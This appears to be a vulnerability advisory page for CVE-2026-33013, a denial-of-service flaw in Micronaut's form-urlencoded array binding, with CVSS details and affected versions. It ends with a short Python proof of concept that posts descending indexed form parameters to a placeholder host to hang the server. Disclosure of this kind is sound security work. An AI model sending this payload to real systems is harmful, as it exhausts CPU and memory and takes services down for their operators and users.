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CVE-2026-33013 CVSS 7.5 HIGH

CVE-2026-33013

Published: 2026-03-20 05:16:15
Last Modified: 2026-03-24 21:21:27

Description

Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. Versions prior to both 4.10.16 and 3.10.5 do not correctly handle descending array index order during form-urlencoded body binding in theJsonBeanPropertyBinder::expandArrayToThreshold, which allows remote attackers to cause a DoS (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., authors[1].name followed by authors[0].name). This issue has been fixed in versions 4.10.16 and 3.10.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:objectcomputing:micronaut:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:objectcomputing:micronaut:*:*:*:*:*:*:*:* - VULNERABLE
Micronaut Framework < 4.10.16
Micronaut Framework < 3.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # The vulnerability occurs when array indices are sent in descending order. # Example payload triggering the infinite loop in JsonBeanPropertyBinder. target_url = "http://vulnerable-host:8080/api/submit" data = { # Sending index 1 before index 0 triggers the DoS "authors[1].name": "Attacker", "authors[0].name": "Victim" } response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") # The server may hang or crash due to CPU exhaustion or OutOfMemoryError.

References

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